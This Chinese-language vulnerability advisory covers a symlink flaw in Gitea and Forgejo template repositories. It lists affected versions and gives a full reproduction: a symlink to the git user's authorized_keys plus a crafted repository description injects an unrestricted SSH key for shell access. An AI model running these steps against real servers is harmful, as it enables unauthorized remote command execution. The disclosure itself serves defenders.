本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
在检查 Forgejo 和 Gitea 的源代码以更好地理解模板化如何执行时,我发现了一个漏洞,允许已认证用户创建一个恶意的模板仓库,该仓库可用于处理文件系统上的任意文件。
当基于恶意模板的 Git 内容创建仓库时,该模板将能够展开文件系统上的任意文件。
知道 git 用户的主目录路径(在官方 Docker 镜像中默认为 /data/git),攻击者可以展开 git 用户的 .ssh/authorized_keys 文件,从而注入一个不带 command 参数的密钥,该密钥可用于执行任意命令或交互式 shell。
受影响版本: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
受影响组件: 模板仓库
根本原因: 在读写模板文件内容时,符号链接被取消引用
攻击者以合法用户身份认证
攻击者创建一个恶意模板仓库,其中包含指向猜测的 git 用户 .ssh/authorized_keys 文件的符号链接,以及一个引用该符号链接的 .forgejo/template 文件
攻击者向他的账户添加一个 SSH 公钥,并附带一个以 ${REPO_DESCRIPTION} 结尾的自定义注释
攻击者创建一个引用恶意模板仓库的仓库,启用 Git 内容模板化,并设置一个包含换行符后跟另一个 SSH 公钥的描述
Gitea/Forgejo 模板读取并对 authorized_keys 符号链接进行模板化,导致之前设置的公钥注释被展开为攻击者仓库描述对应的任意条目,且不带 command 参数
攻击者使用注入的密钥以 git 用户身份交互式登录
攻击者还可以损坏配置文件、SQLite 数据库或通过读取巨大文件造成拒绝服务。
安装并配置一个易受攻击版本的 Gitea/Forgejo
使用管理员账户为攻击者注册或创建一个账户
使用攻击者账户登录
生成两个不同的 SSH 密钥:一个用于 Git,一个用于交互式 SSH
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub 文件的内容添加为授权的 SSH 密钥密钥注释应存在且如下所示:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
现在 git 用户的 .ssh/authorized_keys 如下所示:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
使用 Gitea/Forgejo UI 创建一个恶意模板仓库
克隆该模板仓库,并添加恶意符号链接和模板配置
# 克隆模板仓库
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# 创建恶意符号链接
ln -s /data/git/.ssh/authorized_keys
# 使用 Gitea 时,创建 Gitea 模板配置
mkdir .gitea
echo authorized_keys > .gitea/template
# 使用 Forgejo 时,创建 Forgejo 模板配置
mkdir .forgejo
echo authorized_keys > .forgejo/template
# 提交并推送更改
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pub 文件内容的描述仓库描述应如下所示:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
第一行的 replaced 不是必需的,但需要确保换行符无论如何都保留。
行尾的 attacker@machine 注释也是可选的。
结果 git 用户的 .ssh/authorized_keys 将如下所示:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh 密钥和 ssh 客户端连接ssh -i ~/.ssh/attacker-ssh git@localhost -p 222